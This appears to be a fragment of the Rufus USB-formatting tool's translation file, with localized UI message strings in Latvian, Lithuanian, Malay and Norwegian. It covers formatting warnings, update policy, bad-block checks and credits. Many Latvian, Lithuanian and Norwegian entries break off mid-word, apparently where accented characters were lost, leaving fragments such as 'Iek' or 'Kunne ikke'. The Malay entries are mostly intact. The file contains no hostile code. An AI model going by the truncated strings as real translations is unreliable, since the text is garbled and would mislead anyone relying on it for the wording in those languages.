t MSG_246 "Ir pieejama jaun

t MSG_247 "Nav atrasta jaun

t MSG_248 "Programmas re

t MSG_249 "K

t MSG_250 "%s iesl

t MSG_251 "%s izsl

t MSG_252 "Izm

t MSG_253 "Iek

t MSG_254 "Papla

t MSG_255 "NoDriveTypeAutorun p

t MSG_256 "Konstat

t MSG_257 "Joliet atbalsts"

t MSG_258 "Rock Ridge atbalsts"

t MSG_261 "Imid

t MSG_262 "ISO atbalsts"

t MSG_263 "Izv

t MSG_264 "Tiek dz

sta mape '%s'"

t MSG_265 "Noteikts VMWare disks"

t MSG_266 "Apvienotais UEFI/BIOS re

t MSG_267 "Pielietots Windows imid

t MSG_268 "Pielietots Windows imid

t MSG_269 "At

t MSG_270 "USB-atk

t MSG_271 "Kontrolsummu skait

t MSG_272 "Izskait

t MSG_273 "Main

t MSG_274 "Paman

t MSG_275 "Izv

"vai %s kop

, vai %s diska imid

"Ieteicams izmantot %s re

u %s re

t MSG_276 "Ierakst

t %s re

t MSG_277 "Ierakst

t MSG_278 "Iel

t MSG_279 "Neiel

t MSG_280 "Imid

t MSG_282 "Ekskluz

t MSG_283 "Neder

t MSG_284 "Iel

t MSG_285 "Iel

'%s'.\nTas ir neatpaz

t IDC_WINDOWS_INSTALL "Standartin

t IDC_WEBSITE "Spausk

t MSG_001 "Aptiktas kitas programos atvejis"

t MSG_002 "Vykdoma kita Rufus programa.\n"

RENGINYJE '%s' BUS SUNAIKINTI.\n"

t MSG_004 "Rufus naujini

t MSG_005 "Ar norite leisti Rufus tikrinti programos naujinius internete?"

t MSG_006 "U

t MSG_007 "At

t MSG_008 "Taip"

t MSG_010 "Rasta blog

t MSG_011 "Tikrinimas baigtas: rasta %d blog

" %d skaitymo klaid

\n %d ra

\n %d i

t MSG_012 "%s\nI

rasite:\n%s"

t MSG_013 "I

t MSG_014 "Kasdien"

t MSG_015 "Kas savait

t MSG_016 "Kas m

t MSG_017 "Pasirinktinai"

versija: %d.%d (s

ranka %d)"

t MSG_019 "Naujausia versija: %d.%d (s

t MSG_020 "baitai"

t MSG_026 "baitai"

t MSG_027 "kilobaitai"

t MSG_028 "megabaitai"

t MSG_029 "Numatytas"

t MSG_030 "%s (numatytas)"

t MSG_031 "%s skaidini

schema BIOS ar %s"

t MSG_032 "%s skaidini

t MSG_033 "%s skaidini

t MSG_034 "%d bandymas"

t MSG_035 "%d bandymai"

t MSG_036 "ISO atvaizdas"

t MSG_037 "Programa"

t MSG_038 "Nutraukti"

t MSG_039 "Vykdyti"

t MSG_040 "Atsi

t MSG_041 "Veiksmas at

t MSG_042 "Klaida"

t MSG_043 "Klaida: %s"

t MSG_044 "Failo atsisiuntimas"

t MSG_045 "USB saugyklos

t MSG_046 "%s (diskas %d) [%s]"

t MSG_047 "Keli skaidiniai"

t MSG_048 "Rufus - i

t MSG_049 "Rufus - at

t MSG_050 "S

t MSG_051 "Nenustatyta klaida formatuojant."

t MSG_052 "Negalima naudoti parinktos fail

t MSG_053 "Prieiga prie

t MSG_054 "Laikmena apsaugota nuo

t MSG_056 "Greitas formatavimas negalimas

t MSG_057 "Tomo

t MSG_059 "Pasirinktas klasterio dydis negalioja

t MSG_060 "Tomo dydis negaliojantis."

t MSG_062 "Gauta nepalaikoma komanda."

t MSG_063 "Atminties paskirstymo klaida."

t MSG_064 "Skaitymo klaida."

t MSG_065 "Ra

t MSG_067 "Nepavyko atverti laikmenos. Ji gali b

t MSG_068 "Klaida skaidant disk

t MSG_069 "Nepavyko nukopijuoti fail

t MSG_070 "At

t MSG_071 "Negalima prad

t MSG_072 "Blog

t MSG_073 "ISO atvaizdo per

t MSG_074 "ISO atvaizdo i

t MSG_075 "Negalima prijungti tomo."

t MSG_076 "Negalima papildyti/paruo

t MSG_077 "Negalima priskirti disko raid

t MSG_078 "Negalima prijungti GUID tomo."

t MSG_080 "Rufus aptiko, kad Windows vis dar i

su dideliais failais.\n\nMes patariame jums leisti Windows pabaigti, kad i

t MSG_081 "Nepalaikomas atvaizdas"

t MSG_082 "Arba

t MSG_083 "Pakeisti %s?"

t MSG_084 "Atrodo,

'%s' versij

"'%s' ten jau yra, jis bus panaudotas i

t MSG_085 "Siun

iu %s"

t MSG_086 "Nepasirinktas atvaizdas"

t MSG_087 "Pra

t MSG_088 "Atvaizdas per didelis"

t MSG_089 "Atvaizdas yra per didelis pasirinktai paskir

t MSG_090 "Nepalaikomas ISO"

t MSG_091 "Naudojant UEFI paskirties tip

t MSG_092 "Nepalaikoma fail

t MSG_093 "SVARBU:

t MSG_094 "Aptikta keletas skaidini

t MSG_095 "DD atvaizdas"

t MSG_096 "Pasirinkta fail

t MSG_097 "'%so' gali b

t MSG_098 "SVARBU: J

diegti 'Windows To Go', bet j

l to sistema 'Windows' grei

t MSG_099 "Fail

t MSG_101 "Tr

keliamus Windows 7 ir Windows Vista USB diskus. J

t MSG_103 "Atsi

sti %s?"

t MSG_104 "%s ar v

lesniam reikia, kad '%s' failas b

is failas didesnis nei 100 KB ir visada yra %s ISO atvaizduose, "

"'%s' bus ten, jis bus pakartotinai naudojamas automati

t MSG_105 "At

t MSG_106 "Pasirinkite katalog

t MSG_107 "Visi failai"

t MSG_108 "Rufus dienynas"

t MSG_109 "0xX (Diskas %d)"

t MSG_110 "MS-DOS negali

t MSG_111 "Nesuderinamas Klasterio dydis"

t MSG_112 "Dideli

yra %d:d, tuo metu eigos juosta gali atrodyti sustingusi. Pra

t MSG_113 "Didelis UDF tomas"

is atvaizdas naudoja Syslinux %s%s, bet

"Syslinux %s%s.\n\nKadangi naujos Syslinux versijos tarpusavyje nesuderinamos, ir n

"interneto ('ldlinux.sys' ir 'ldlinux.bss'):\n"

t MSG_115 "Reikalingas atsisiuntimas"

is atvaizdas naudoja Grub %s bet

"Grub %s.\n\nKadangi skirtingos Grub versijos gali b

"('core.img') versij

t MSG_150 "Paprastai saugiausias pasirinkimas. Bet jei turite UEFI kompiuter

"operacin

t MSG_151 "Naudokite

diegti operacin

t MSG_152 "Rekomenduojama parinktis

diegiant operacin

t MSG_153 "Testo

ablonas: 0xX"

t MSG_154 "Testo

ablonas: 0xX, 0xX"

t MSG_155 "Testo

ablonas: 0xX, 0xX, 0xX"

t MSG_156 "Testo

ablonas: 0xX, 0xX, 0xX, 0xX"

t MSG_157 "Nustato paskirties fail

t MSG_158 "Ma

t MSG_161 "Tikrinti

t MSG_162 "Nuimkite

t MSG_163 "Pa

t MSG_164 "B

t MSG_165 "Spauskite, kad pasirinktum

t MSG_166 "Pa

(sukuria autorun.inf)"

t MSG_168 "Bandyti maskuoti pirm

prireikti tik jei diegsite Windows XP ir bus daugiau nei vienas diskas"

t MSG_169 "Sukurti papildom

t MSG_171 "Prad

t MSG_172 "Licencijavimo informacija ir kreditai"

t MSG_173 "Spauskite pasirinkti..."

t MSG_174 "Rufus - patikima USB formatavimo priemon

t MSG_175 "Versija %d.%d (s

t MSG_176 "Lietuvi

kas vertimas: Gintaras Venslovas <gintaras.venslovas@gmail.com>"

t MSG_177 "D

t MSG_178 "Kitos autori

t MSG_179 "Naujini

t MSG_180 "Jei leisite

operacin

t MSG_182 "Programos, kuri

t MSG_184 "Asmeninio naudojimo statistikos generavimo tikslu mes galime saugoti surinkt

t MSG_185 "Atnaujinimo procesas:"

t MSG_186 "Rufus ne

t MSG_187 "Negaliojantis atvaizdas pasirinktai

t MSG_188 "Dabartinis atvaizdas neatitinka pasirinktos

t MSG_190 "Aptiktas nesuderinamas diskas"

t MSG_191 "Ra

t MSG_192 "Skaitymo bandymas"

t MSG_193 "Atsi

sta %s"

t MSG_194 "Nepavyko atsi

sti %s"

t MSG_195 "Naudojama

) %s versija"

t MSG_196 "SVARBU:

is diskas naudoja %d bait

t MSG_197 "Aptiktas nestandartinis sektoriaus dydis"

t MSG_198 "'Windows To Go' gali b

t MSG_199 "Rinkit

diegti Windows

t MSG_200 "Rinkit

, jei norite leisti Windows tiesiai i

t MSG_201 "At

t MSG_202 "Per

t MSG_203 "Nepavyko per

t MSG_204 "Aptiktas pasen

s %s"

t MSG_205 "Naudojamas atvaizdas: %s"

t MSG_206 "Tr

ksta %s failo"

t MSG_207 "Naujas tomas"

t MSG_210 "PASIRUO

t MSG_211 "At

t MSG_212 "NEPAVYKO"

t MSG_213 "Paleid

t MSG_214 "Nepavyko paleisti naujos programos"

t MSG_215 "Atidarytas %s"

t MSG_216 "I

saugotas %s"

t MSG_217 "Formatuojama: %0.1f%% baigta"

t MSG_218 "Kuriama fail

duotis %d/%d atlikta"

t MSG_219 "NTFS taisymas: %d%% baigta"

t MSG_220 "Formatuojama (%s) - numatoma trukm

t MSG_221 "Ra

t MSG_222 "Formatuojama (%s)..."

t MSG_223 "NTFS taisymas (disko tikrinimas)..."

t MSG_224 "I

t MSG_225 "U

t MSG_226 "Tiriami esami

t MSG_227 "U

t MSG_228 "Ra

t MSG_229 "Ra

t MSG_230 "Kopijuojami DOS failai..."

t MSG_231 "Kopijuojami ISO failai..."

t MSG_233 "Baigiama, pra

diegiama Syslinux %s..."

t MSG_235 "Blogi blokai: %s %d/%d - %0.2f%% (%d/%d/%d klaidos)"

t MSG_236 "Blogi blokai: tikrinama su atsitiktiniu

t MSG_237 "Blogi blokai: tikrinama su

ablonu 0xX"

t MSG_238 "Skaidoma (%s)..."

t MSG_239 "Trinami skaidiniai..."

t MSG_240 "Atsiun

iamas %s: Jungiamasi..."

t MSG_241 "Atsiun

t MSG_242 "Nepavyko atsi

t MSG_243 "Tikrinama, ar yra Rufus naujini

t MSG_244 "Naujiniai: negaliu prisijungti prie interneto"

t MSG_245 "Naujiniai: negaliu pasiekti versijos duomen

t MSG_246 "Yra nauja Rufus versija!"

t MSG_247 "Naujos Rufus versijos nerasta"

t MSG_248 "Programos registro raktai s

t MSG_249 "Nepavyko i

t MSG_251 "%s i

t MSG_252 "Dyd

t MSG_253 "Kiet

t MSG_254 "Priversti didel

t MSG_255 "NoDriveTypeAutorun bus i

t MSG_256 "Netikr

t MSG_257 "Joliet palaikymas"

t MSG_258 "Rock Ridge palaikymas"

t MSG_259 "Priversti naujintis"

t MSG_260 "NTFS glaudinimas"

t MSG_261 "Ra

t MSG_262 "ISO palaikymas"

t MSG_263 "Naudoti TIKRUOSIUS dyd

t MSG_264 "Trinamas aplankas '%s'"

t MSG_265 "VMWare disko aptikimas"

t MSG_266 "Dvigubas UEFI/BIOS re

t MSG_267 "Taikomas Windows atvaizdas: %0.1f%% baigta"

t MSG_268 "Taikomas Windows atvaizdas..."

t MSG_269 "I

t MSG_270 "USB derinimas"

t MSG_271 "Skai

t MSG_272 "Skai

t MSG_273 "Keisti programos kalb

t MSG_274 "Aptiktas ISOHybrid atvaizdas"

t MSG_275 "J

"%s (fail

imu arba %s (disko atvaizdo) re

%s, tam, kad j

imu %s.\n\n"

imu %s (rekomenduojama)"

imu %s"

t MSG_279 "Ne

t MSG_280 "Atvaizdo parinktis"

t MSG_281 "(Pra

t MSG_282 "I

t MSG_283 "Negaliojantis para

t MSG_284 "Atsi

t MSG_285 "Atsi

t IDC_WEBSITE "Klik di sini untuk ke laman sesawang Rufus"

t MSG_001 "Proses Rufus lain dikesan"

t MSG_002 "Terdapat aplikasi Rufus sedang berjalan.\n"

t MSG_003 "AMARAN: SEMUA DATA DI DALAM PERANTI '%s' AKAN DIPADAM.\n"

t MSG_004 "Dasar kemas kini Rufus"

t MSG_005 "Adakah anda mahu membenarkan Rufus menyemak untuk versi baharu dalam talian?"

t MSG_007 "batal"

t MSG_010 "Blok rosak dijumpai"

t MSG_011 "Semak selesai: %d blok rosak dijumpai\n"

" %d kesilapan membaca\n %d kesilapan menulis\n %d kesilapan korupsi\n"

t MSG_012 "%s\nLaporan lebih terperinci boleh dijumpai di:\n%s"

t MSG_013 "Tidak menyemak"

t MSG_017 "Tetapan sendiri"

t MSG_018 "Versi anda: %d.%d (Binaan %d)"

t MSG_019 "Versi terkini: %d.%d (Binaan %d)"

t MSG_020 "bait"

t MSG_026 "bait"

t MSG_027 "kilobait"

t MSG_028 "megabait"

t MSG_029 "lalai"

t MSG_030 "%s (Lalai)"

t MSG_031 "%s skema partisyen untuk BIOS dan %s"

t MSG_032 "%s skema partisyen untuk BIOS"

t MSG_033 "%s skema partisyen untuk UEFI"

t MSG_034 "%d kali lulus"

t MSG_035 "%d kali lulus"

t MSG_036 "Imej ISO"

t MSG_039 "Mula"

t MSG_040 "Muat Turun"

t MSG_042 "Kesilapan"

t MSG_043 "Kesilapan: %s"

t MSG_044 "Muat turun fail"

t MSG_045 "Peranti storan USB (Generik)"

t MSG_046 "%s (Cakera %d) [%s]"

t MSG_047 "Beberapa Partisyen"

t MSG_048 "Rufus - 'Flush' penimbal"

t MSG_049 "Rufus - Dibatalkan"

t MSG_050 "Berjaya."

t MSG_051 "Kesilapan yang tidak dapat ditentukan ketika memformat."

t MSG_052 "Tidak boleh menggunakan sistem fail yang dipilih untuk media ini."

t MSG_053 "Akses kepada peranti dinafikan."

t MSG_054 "Tidak boleh menulis data ke peranti (Dilindungi)"

t MSG_055 "Peranti ini digunakan oleh proses lain. "

t MSG_056 "Format pantas tidak boleh digunakan pada peranti ini."

t MSG_057 "Label jilid tidak sah."

t MSG_058 "Pengendali peranti tidak sah."

t MSG_059 "Saiz gugusan yang dipilih tidak boleh digunakan pada peranti ini."

t MSG_060 "Saiz jilid tidak sah."

t MSG_061 "Sila masukkan media boleh alih ke dalam pemacu."

t MSG_062 "Arahan yang tidak disokong diterima."

t MSG_063 "Kesilapan peruntukkan memori."

t MSG_064 "Kesilapan membaca."

t MSG_065 "Kesilapan menulis."

t MSG_066 "Kegagalan memasang"

t MSG_067 "Media tidak boleh dibuka. Ia mungkin digunakan dalam proses yang lain. "

t MSG_068 "Masalah semasa pembahagian pemacu."

t MSG_069 "Tidak boleh meyalin fail kepada pemacu."

t MSG_071 "\"Bebenang\" tidak boleh dimulakan'."

t MSG_072 "Penyemakan blok rosak tidak dapat diselesaikan."

t MSG_073 "Kegagalan imbasan imej ISO."

t MSG_074 "Pengekstrakan imej ISO gagal."

t MSG_075 "Tidak dapat melekap semula jilid."

t MSG_076 "Tidak dapat 'patch'/menyediakan fail untuk boot."

t MSG_077 "Tidak dapat memperuntukkan huruf untuk pemacu."

t MSG_078 "Tidak boleh lekap jilid GUID."

t MSG_079 "Peranti ini tidak sedia untuk digunakan"

t MSG_080 "Rufus mengesan bahawa Windows masih lagi menarik penimbal ke dalam peranti USB.\n\n"

"Bergantung kepada kelajuan peranti USB anda, operasi ini mungkin mengambil masa yang amat lama."

"Terutamanya untuk fail besar .\n\nKami cadangkan anda biarkan Windows tamat dahulu untuk mengelakkan korupsi."

t MSG_081 "ISO tidak disokong" -> "Imej tidak disokong"

t MSG_082 "Imej ini sama ada tidak boleh boot, atau ia menggunakan kaedah boot atau mampatan yang tidak disokong oleh Rufus..."

t MSG_083 "Gantikan %s?"

t MSG_084 "Imej ISO ini menggunakan versi '%s' yang telah lapuk.\n"

"'%s' , ia akan digunakan secara automatik."

t MSG_085 "Muat turun %s"

t MSG_086 "Tiada imej yang dipilih"

t MSG_087 "Sila klik pada butang cakera untuk memilih imej yang boleh boot, "

t MSG_088 "Imej terlalu besar"

t MSG_089 "Imej ini terlalu besar untuk sasaran yang dipilih."

t MSG_090 "ISO tidak disokong"

t MSG_091 "Apabila menggunakan jenis sasaran UEFI , hanya imej boot jenis EFI sahaja disokong. "

t MSG_092 "Sistem fail tidak disokong"

t MSG_093 "PENTING: PERANTI INI MEMPUNYAI BEBERAPA PARTISYEN!!\n\n"

"Ini mungkin termasuk partisyen/jilid yang tidak disenaraikan atau tidak boleh dilihat dari Windows. "

t MSG_094 "Beberapa partisyen dikesan"

t MSG_095 "DD Imej"

t MSG_097 "'Windows To Go' hanya boleh digunakan jika sistem fail adalah NTFS."

t MSG_099 "Had sistem fail"

t MSG_100 "Imej ISO ini mengandungi fail yang lebih besar daripada 4GB "

t MSG_101 "Tiada sokongan WIM"

t MSG_102 "Platform anda tidak boleh mengekstrak fail daripada arkib WIM. Ini diperlukan "

"untuk mencipta cakera boot EFI Windows 7 dan Windows Vista. Anda boleh membaikinya dengan "

t MSG_103 "Muat turun %s?"

t MSG_104 "%s atau kemudian memerlukan fail '%s' di komputer anda.\n"

"Oleh sebab fail tersebut lebih besar daripada 100 KB dan sentiasa ada dalam imej %s, "

"'%s' ada di sana, ia akan digunakan semula secara automatik.\n"

t MSG_105 "Pembatalan boleh menyebabkan peranti ini TIDAK BOLEH DIGUNAKAN SEMULA.\n"

t MSG_106 "Sila pilih folder"

t MSG_107 "Semua fail"

t MSG_109 "0xX (Cakera %d)"

t MSG_110 "MS-DOS tidak boleh boot daripada cakera yang menggunakan saiz gugusan 64 kilobait.\n"

t MSG_111 "Saiz gugusan tidak sesuai"

t MSG_112 "Pemformatan jilid UDF yang besar mengambil masa yang amat lama. Pada kelajuan USB 2.0 anggaran masa pemformatan "

"adalah %d:d, di mana bar kemajuan akan kelihatan seperti ia tidak bergerak. Sila tunggu"

t MSG_113 "Jilid UDF besar"

t MSG_114 "Imej ini menggunakan Syslinux %s%s tetapi aplikasi ini hanya mempunyai fail pemasangan untuk"

"Syslinux %s%s.\n\nOleh kerana versi-versi baharu Syslinux tidak serasi dengan satu sama lain, maka tidak"

t MSG_115 "Muat turun diperlukan"

t MSG_150 "Biasanya pilihan ini paling selamat. Namun, jika anda ada komputer UEFI dan mahu "

t MSG_151 "Gunakan ini jika anda mahu memasang OS dalam mod EFI, tetapi perlukan akses kepada "

"kandungan USB daripada Windows XP"

t MSG_152 "Pilihan yang disyorkan untuk memasang OS dalam mod EFI dan apabila "

"akses USB tidak diperlukan unuk Windows XP "

t MSG_153 "Uji corak: 0xX"

t MSG_154 "Uji corak: 0xX, 0xX"

t MSG_155 "Uji corak: 0xX, 0xX, 0xX"

t MSG_156 "Uji corak: 0xX, 0xX, 0xX, 0xX"

t MSG_157 "Menetapkan sistem fail sasaran"

t MSG_158 "Saiz minima satu blok data akan gunakan dalam sistem fail"

t MSG_159 "Gunakan ini untuk tetapkan label cakera\nHuruf antarabangsa boleh digunakan"

t MSG_160 "Togel pilihan lanjutan"

t MSG_161 "Semak peranti untuk blok rosak menggunakan corak ujian"

t MSG_162 "Jangan tanda kotak ini untuk menggunakan kaedah pemformatan \"perlahan\""

t MSG_163 "Tanda kotak ini jika anda mahu membuat cakera USB boot"

t MSG_164 "Kaedah yang digunakan untuk membuat cakera boot"

t MSG_165 "Klik untuk memilih imej..."

t MSG_166 "Klik kotak ini untuk membenarkan paparan label antarabangsa "

"dan menetapkan ikon cakera (akan membuat fail autorun.inf)"

t MSG_167 "Memasang MBR yang membenarkan pilihan boot dan mampu menyamar ID BIOS USB"

t MSG_168 "Cuba menyamarkan cakera USB boot (biasanya 0x80) sebagai cakera lain.\n"

"Ini hanya diperlukan jika anda memasang Windows XP dan mempunyai lebih daripada satu cakera"

t MSG_169 "Ciptakan partisyen tambahan tersembunyi dan cuba melaraskan sempadan partisyen.\n"

t MSG_170 "Membolehkan penyenaraian pagaran cakera keras USB. GUNAKAN ATAS RISIKO SENDIRI!!!"

t MSG_171 "Mulakan operasi pemformatan.\nIni akan MEMADAMKAN semua data pada sasaran!"

t MSG_172 "Maklumat pelesenan dan penghargaan"

t MSG_174 "Rufus - Utiliti pemformatan USB yang dipercayai"

t MSG_176 "Terjemahan Bahasa Malaysia:\\line\n"

"Muhammad Aman <mailto:aman.tifli@gmail.com>\\line\n"

"VGPlayer <mailto:razman90a@yahoo.com.my>"

t MSG_177 "Laporkan masalah atau cadangan penambahbaikan di:"

t MSG_178 "Hak cipta tambahan:"

t MSG_179 "Polisi kemaskini:"

t MSG_180 "jika anda pilih untuk membenarkan aturcara ini menyemak untuk versi baru, "

t MSG_181 "Versi dan kerangka sistem operasi"

t MSG_182 "Versi aplikasi yang anda gunakan"

t MSG_183 "Alamat IP anda"

t MSG_184 "Untuk tujuan menjana statistik penggunaan peribadi , kami mungkin menyimpan maklumat yang dikumpulkan, "

t MSG_185 "Proses mengemas kini:"

t MSG_186 "Rufus tidak memasang atau menjalankan servis di latar belakang. Oleh itu, semakan kemas kini hanya dijalankan apabila aplikasi utama berjalan.\\line\n"

t MSG_187 "Imej tidak sah untuk pilihan boot yang dipilih"

t MSG_188 "Imej

t MSG_189 "Imej ISO ini tidak serasi dengan sistem fail yang dipilih"

t MSG_190 "Pemacu tidak serasi dikesan"

t MSG_191 "Melepasi tulisan"

t MSG_192 "Melepasi bacaan"

t MSG_193 "Muat turun %s"

t MSG_194 "Tidak boleh muat turun %s"

t MSG_195 "Menggunakan %s fail versi dibenam"

t MSG_197 "Saiz sektor bukan standard dikesan"

t MSG_200 "Pilih ini jika anda mahu untuk menjalankan Windows secara langsung dari peranti dipilih."

t MSG_201 "Sedang membatalkan - Sila tunggu..."

t MSG_202 "Mengimbas imej..."

t MSG_203 "Imbasan imej gagal"

t MSG_204 "%s lapuk dikesan"

t MSG_205 "Menggunakan ISO: %s" -> "Menggunakan imej: %s"

t MSG_206 "Tidak menjumpai fail %s"

t MSG_207 "Jilid baharu"

t MSG_208 "%d peranti dijumpai"

t MSG_209 "%d peranti dijumpai"

t MSG_210 "SELESAI" -> "SEDIA".

t MSG_211 "DIBATALKAN"

t MSG_212 "GAGAL"

t MSG_213 "Melancarkan aplikasi baru..."

t MSG_214 "Gagal untuk melancarkan aplikasi baru"

t MSG_215 "%s dibuka"

t MSG_216 "%s disimpan"

t MSG_217 "Pemformatan: %0.1f%% selesai"

t MSG_218 "Mencipta sistem fail: Tugas %d/%d selesai"

t MSG_219 "Pembaikian NTFS: %d%% selesai"

t MSG_220 "Pemformatan (%s) - Jangka masa anggaran %d:d..."

t MSG_221 "Menetapkan label (Ini mungkin mengambil sedikit masa)..."

t MSG_222 "Pemformatan (%s)..."

t MSG_223 "Pembaikian NTFS (Periksa cakera)..."

t MSG_224 "Memadam struktur MBR/PBR/GPT..."

t MSG_225 "Meminta akses cakera..."

t MSG_226 "Menganalisis rekod boot sedia ada..."

t MSG_227 "Menutup jilid sedia ada..."

t MSG_228 "Menulis \"Rekod master boot\"..."

t MSG_229 "Menulis rekod boot partisyen..."

t MSG_230 "Menyalin fail DOS..."

t MSG_231 "Menyalin fail ISO..."

t MSG_232 "Persediaan boot EFI Win7 (ini mungkin mengambil sedikit masa)..."

t MSG_233 "Menyiapkan, sila tunggu..."

t MSG_234 "Memasang Syslinux %s..."

t MSG_235 "Blok rosak: MELEPASI %d/%d - %0.2f%% (%d/%d/%d kesilapan)" -> "Blok rosak: %s %d/%d - %0.2f%% (%d/%d/%d kesilapan)"

t MSG_236 "Blok rosak: menguji dengan corak rawak"

t MSG_237 "Blok rosak: Menguji dengan corak 0xX"

t MSG_238 "Mempartisyenkan (%s)..."

t MSG_239 "Memadam partisyen..."

t MSG_240 "Memuat turun %s: menyambung ke internet..."

t MSG_241 "memuat turun: %0.1f%%"

t MSG_242 "Gagal memuat turun fail."

t MSG_243 "Memeriksa untuk kemas kini Rufus..."

t MSG_244 "Kemas kini: Tidak dapat menyambung ke internet"

t MSG_245 "Kemsa kini: Tidak dapat mengakses data versi"

t MSG_246 "Versi baru Rufus boleh didapati!"

t MSG_247 "Tiada versi baru Rufus didapati"

t MSG_248 "Kekunci daftar aplikasi berjaya dipadam"

t MSG_249 "Gagal memadam kekunci daftar aplikasi"

t MSG_250 "%s dibolehkan"

t MSG_251 "%s tidak dibolehkan"

t MSG_252 "Menyemak saiz"

t MSG_253 "Pengesanan cakera tetap" -> "Pengesanan cakera keras"

t MSG_254 "Memaksa pemformatan FAT32 besar"

t MSG_255 "NoDriveTypeAutorun akan dipadam apabila keluar"

t MSG_256 "Pengesanan cakera palsu"

t MSG_257 "Sokongan Joliet"

t MSG_258 "Sokongan Rock Ridge"

t MSG_259 "Paksa kemas kini"

t MSG_260 "Mampatan NTFS"

t MSG_261 "Menulis imej: %0.1f%% selesai"

t MSG_262 "Sokongan ISO"

t MSG_263 "Guna saiz seunit yang BETUL"

t MSG_264 "Memadam direktori '%s'"

t MSG_265 "Pengesanan cakera VMWare"

t MSG_266 "Mod dwi UEFI/BIOS"

t MSG_267 "Menggunakan imej Windows: %0.1f%% selesai"

t MSG_268 "Menggunakan imej Windows..."

t MSG_269 "Mengekalkan cap masa"

t MSG_270 "Nyahpijat USB"

t MSG_271 "Mengira semak tambah imej: %0.1f%% selesai"

t MSG_272 "Mengira semak tambah MD5, SHA1 dan SHA256 imej dipilih"

t MSG_273 "Menukar bahasa aplikasi"

t MSG_274 "Imej ISOHybrid dikesan"

t MSG_275 "Imej yang anda telah pilih adalah imej 'ISOHybrid'. Ini bermaksud ia boleh ditulis sama ada dalam "

"%s mod (salinan fail) atau %s mod (imej cakera).\n"

"Rufus galakkan menggunakan mod %s, jadi anda selalu mempunyai akses penuh ke pemacu selepas menulisnya.\n"

"Bagaimanapun, jika anda menghadapi isu-isu semasa boot, anda boleh cuba menulis imej ini lagi dalam mod %s.\n\n"

t MSG_276 "Menulis dalam mod %s (Digalakkan)"

t MSG_277 "Menulis dalam mod %s"

t MSG_278 "Jenis boot"

t MSG_279 "Tidak boleh boot"

t MSG_280 "Pilihan imej"

t MSG_281 "(Sila pilih satu imej)"

t MSG_282 "Penguncian pemacu USB eksklusif"

t MSG_283 "tandatangan tidak sah"

t MSG_284 "'Executable' yang dimuat turun kehilangan tandatangan digital."

t MSG_285 "'Executable' yang dimuat turun ditandatangani oleh '%s'.\nIni bukannya tandatangan yang kami kenal dan boleh "

t MSG_286 "Mensifarkan pemacu: %0.1f%% selesai"

t IDC_WINDOWS_INSTALL "Standard Windows installasjon"

m IDC_NBPASSES 10,0

t IDC_WEBSITE "Klikk her for

t MSG_001 "Annen forekomst oppdaget"

t MSG_002 "Annen Rufus utgave kj

t MSG_003 "ADVARSEL: ALLE DATA P

STASJON '%s' VIL BLI

fortsette denne operasjonen, klikk OK. For

t MSG_004 "Rufus oppdaterings politikk"

t MSG_005 "Vil du tillate at Rufus sjekker oppdateringen online?"

t MSG_006 "Lukk"

t MSG_007 "Avbryt"

t MSG_009 "Nei"

t MSG_010 "D

t MSG_011 "Sjekk fullf

rt: %d d

" %d Lese feil\n %d Skrive feil\n %d Korrupte feil\n"

t MSG_012 "%s\nA Mer detaljert rapport kan bli funnet her:\n%s"

t MSG_013 "Deaktivert"

t MSG_014 "Daglig"

t MSG_015 "Ukentlig"

t MSG_017 "Bruker"

t MSG_018 "Din versjon: %d.%d (Utgave %d)"

t MSG_019 "Siste versjon: %d.%d (Utgave %d)"

t MSG_031 "%s partisjon skjema for BIOS eller %s"

t MSG_032 "%s partisjon skjema for BIOS"

t MSG_033 "%s partisjon skjema for UEFI"

t MSG_034 "%d Passering"

t MSG_035 "%d Passeringer"

t MSG_036 "ISO Bilde"

t MSG_037 "Applikasjon"

t MSG_038 "Avbryt"

t MSG_039 "Kj

t MSG_040 "Last ned"

t MSG_041 "Operasjon avbrutt av bruker"

t MSG_042 "Feil"

t MSG_043 "Feil: %s"

t MSG_044 "Fil ned lasting"

t MSG_045 "USB Lagrings enhet (Generisk)"

t MSG_047 "Flere partisjoner"

t MSG_048 "Rufus - T

t MSG_049 "Rufus - Avbryter"

t MSG_050 "Suksess."

t MSG_051 "Ubestemmelig feil under formateringen."

t MSG_052 "Kan ikke bruke det valgte filsystem for dette mediet."

t MSG_053 "Ikke tilgang til denne enheten."

t MSG_054 "Mediet er skrive beskyttet."

t MSG_055 "Enheten brukes av en annen prosess. "

t MSG_056 "Hurtigformatering er ikke tilgjengelig for denne enheten."

t MSG_057 "Volum navnet er ugyldig."

t MSG_058 "Enhets h

t MSG_059 "Den valgte cluster st

t MSG_060 "Volumst

t MSG_061 "Vennligst sett inn et media i stasjonen."

t MSG_062 "Ust

t MSG_063 "Minne tildelingsfeil."

t MSG_064 "Lesefeil."

t MSG_065 "Skrivefeil."

t MSG_066 "Installasjonsfeil"

t MSG_067 "Kunne ikke

t MSG_068 "Feil under stasjons partisjonering."

t MSG_069 "Kunne ikke kopiere filer til m

t MSG_070 "Brukeravbrutt."

t MSG_071 "Ikke mulig

t MSG_072 "D

t MSG_073 "ISO bilde skannings feil."

t MSG_074 "ISO bilde utpakkings feil."

t MSG_075 "Ikke mulig

t MSG_076 "Ute av stand til

t MSG_077 "Ikke mulig

t MSG_078 "Kan ikke montere GUID stasjon."

t MSG_079 "Denne enheten er ikke klar."

t MSG_080 "Rufus oppdaget at Windows fortsatt skriver til denne USB enhetens interne buffer.\n\n"

din USB enhet, vil muligens denne operasjonen ta lang til

"spesielt for store filer.\n\nVi anbefaler at du lar Windows fullf

t MSG_081 "Ikke st

t MSG_082 "Dette ISO-bildet er enten ikke oppstartbar, eller s

t MSG_083 "Bytte ut %s?"

t MSG_084 "Dette ISO bildet ser ut til

inneholde en foreldet versjon av '%s'.\n"

"'%s' er der, vil den bli brukt automatisk."

t MSG_085 "Laster ned %s"

t MSG_086 "Intet bilde valgt"

t MSG_087 "Vennligst klikk p

t MSG_088 "Bildet er for stort"

t MSG_089 "Bildet er for stort for det valgte m

t MSG_090 "Ikke st

t MSG_092 "Ikke st

t MSG_093 "VIKTIGT: DENNE STASJONEN INNEHOLDER FLERE PARTISJONER!!\n\n"

"Denne inneholder kanskje partisjoner/volumer som ikke er listet og muligens ikke synlig i Windows. "

t MSG_094 "Flere partisjoner oppdaget"

t MSG_095 "DD Bilde"

t MSG_096 "Filsystemet som er valgt kan ikke brukes med denne type ISO"

t MSG_097 "'%s' kan kun brukes hvis filsystemet er NTFS."

t MSG_098 "VIKTIGT: Du pr

installere 'Windows To Go', med m

"den rette beskrivelsen. P.g.a dette vil Windows sannsynligvis stoppe opp under oppstarten, "

